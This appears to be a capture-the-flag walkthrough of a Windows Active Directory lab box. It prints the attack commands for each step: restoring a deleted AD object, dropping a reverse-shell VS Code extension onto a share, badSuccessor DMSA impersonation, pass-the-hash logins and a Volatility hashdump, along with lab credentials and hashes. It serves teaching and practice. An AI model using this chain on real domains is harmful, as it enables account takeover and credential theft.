Checkpoint
Synopsis
Checkpoint is a medium-difficulty Windows domain box built around Active Directory attack paths. The chain starts with DACL enumeration: the initial account can restore a deleted AD object (a "tombsone") whose credentials are reused. That account can write to a VS Code extensions drop share, so a malicious .vsix extension is auto-installed by a victim and fires code as ryan.brooks. From there a Kerberos DMSA impersonation (badSuccessor) yields the password hash of the svc_deploy service account, which has read access to a VM backup share. A full memory dump is pulled and mined with Volatility for the local Administrator hash.
Skills Required
- Active Directory enumeration
- BloodHound / bloodyAD usage
- SMB share enumeration
Skills Learned
- Restoring deleted AD objects (tombstones) to recover access
- Malicious VS Code extension (.vsix) execution
- DMSA (service account) impersonation via
badSuccessor - Memory forensics with Volatility to extract hashes
Enumeration
A full port scan reveals a domain controller.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-16 13:02 -0400 Nmap scan report for checkpoint.htb (10.129.28.9) Host is up (0.051s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap (Domain: checkpoint.htb) 3269/tcp open globalcatLDAPssl? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM) Service Info: Host: DC01; OS: Windows
Initial Access
AD enumeration with bloodyAD
With a set of valid credentials (alex.turner), writable objects are enumerated.
bloodyad -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host 10.129.28.9 get writable
Several interesting ACLs stand out, especially a deleted object:
distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb permission: WRITE distinguishedName: OU=Employees,DC=checkpoint,DC=htb permission: CREATE_CHILD
Restoring a deleted object
Mark Davies was deleted from the directory - but our account has write access to the tombstone. bloodAD can restore it.
bloodyad -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host 10.129.28.9 \
set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies has been restored successfully under
CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
mark.davies reuses the same password as the initial user. The restored account turns out to be able to write to the DevDrop SMB share - a drop folder for approved VS Code extensions.
nxc smb 10.129.28.9 -u mark.davies -p 'Checkpoint2024!' -d checkpoint.htb --shares
SMB ... Share Permissions Remark
SMB ... DevDrop READ,WRITE VS Code extensions share for approved
.vsix packages compatible with VS Code
engine 1.118.0
SMB ... VMBackups
Malicious VS Code extension
A crafted .vsix extension is built with a malicious extension.js (a reverse shell) and dropped onto the share. When a victim's VS Code picks up the approved extension, it executes our code as that user.
nxc smb 10.129.28.9 -u mark.davies -p 'Checkpoint2024!' -d checkpoint.htb \ --share DevDrop --put-file checkpoint-dark-theme.vsix checkpoint-dark-theme.vsix
After about a minute we receive a shell as ryan.brooks and read the user flag.
Privilege Escalation
Kerberos TGT via Rubeus
From the victim host, Rubeus is used to obtain a TGT for ryan.brooks, then converted to ccache format.
./Rubeus.exe tgtdeleg /nowrap echo '<base64>' | base64 -d > ryan.kirbi impacket-ticketConverter ryan.kirbi ryan.ccache
DMSA impersonation with badSuccessor
Using the ticket, badSuccessor creates a new machine account and impersonates the svc_deploy DMSA, recovering its password hashes from the returned TGS.
KRB5CCNAME=ryan.ccache bloodyad --host dc01.checkpoint.htb -d checkpoint.htb -u ryan.brooks -k \ add badSuccessor evil-dmsa4 -t 'CN=SVC_DEPLOY,OU=SERVICEACCOUNTS,DC=CHECKPOINT,DC=HTB' \ --ou 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Creating DMSA evil-dmsa4$ in OU=DMSAHolder [+] Impersonating: CN=SVC_DEPLOY,... [+] dMSA TGT stored in ccache file evil-dmsa4_Ne.ccache dMSA current keys found in TGS: AES256: e277825601b2568e27ab128c5bad730fd9215733cfe71be232f9e65b37205f5e AES128: 153d93a9359d21b57f9143265911bedf RC4: 80dcbc82c46d83c493575fb2c471944a dMSA previous keys found in TGS: RC4: e16081eb077aca74bdbf8af12af43ac9
Accessing the VMBackups share
Authenticating as svc_deploy (with the recovered NT hash) grants access to the backup share, which contains a full VM memory snapshot.
smbclient //10.129.29.30/VMBackups -U 'checkpoint.htb/svc_deploy%e16081eb077aca74bdbf8af12af43ac9' --pw-nt-hash smb: \NightlyBackup_2024-11-01\memory forensics\> get "Windows Server 2019-Snapshot1.vmem"
Memory forensics → Administrator
The memory dump is analyzed with Volatility to recover the local account hashes.
vol -f ~/htb/Checkpoint/Windows\ Server\ 2019-Snapshot1.vmem windows.hashdump.Hashdump | grep -i Administrator
The Administrator NT hash grants a WinRM shell on the box.
evil-winrm -i 10.129.29.30 -u Administrator -H f29e9c014295b9b32139b09a2790be3b
Key Takeaways
- Deleted AD objects can be a backdoor - write access to a tombstone lets an attacker restore a principal whose password was never reset.
- Approved app-drop folders are a supply-chain vector - a "vetted" VSIX/plugin is executed by the victim with their privileges.
- DMSAs are recoverable through impersonation - machine accounts holding DMSA privileges leak the service account's current and previous keys in a TGS.
- Backup shares full of memory snapshots are effectively credential stores; one Volatility run can dump the whole local account database.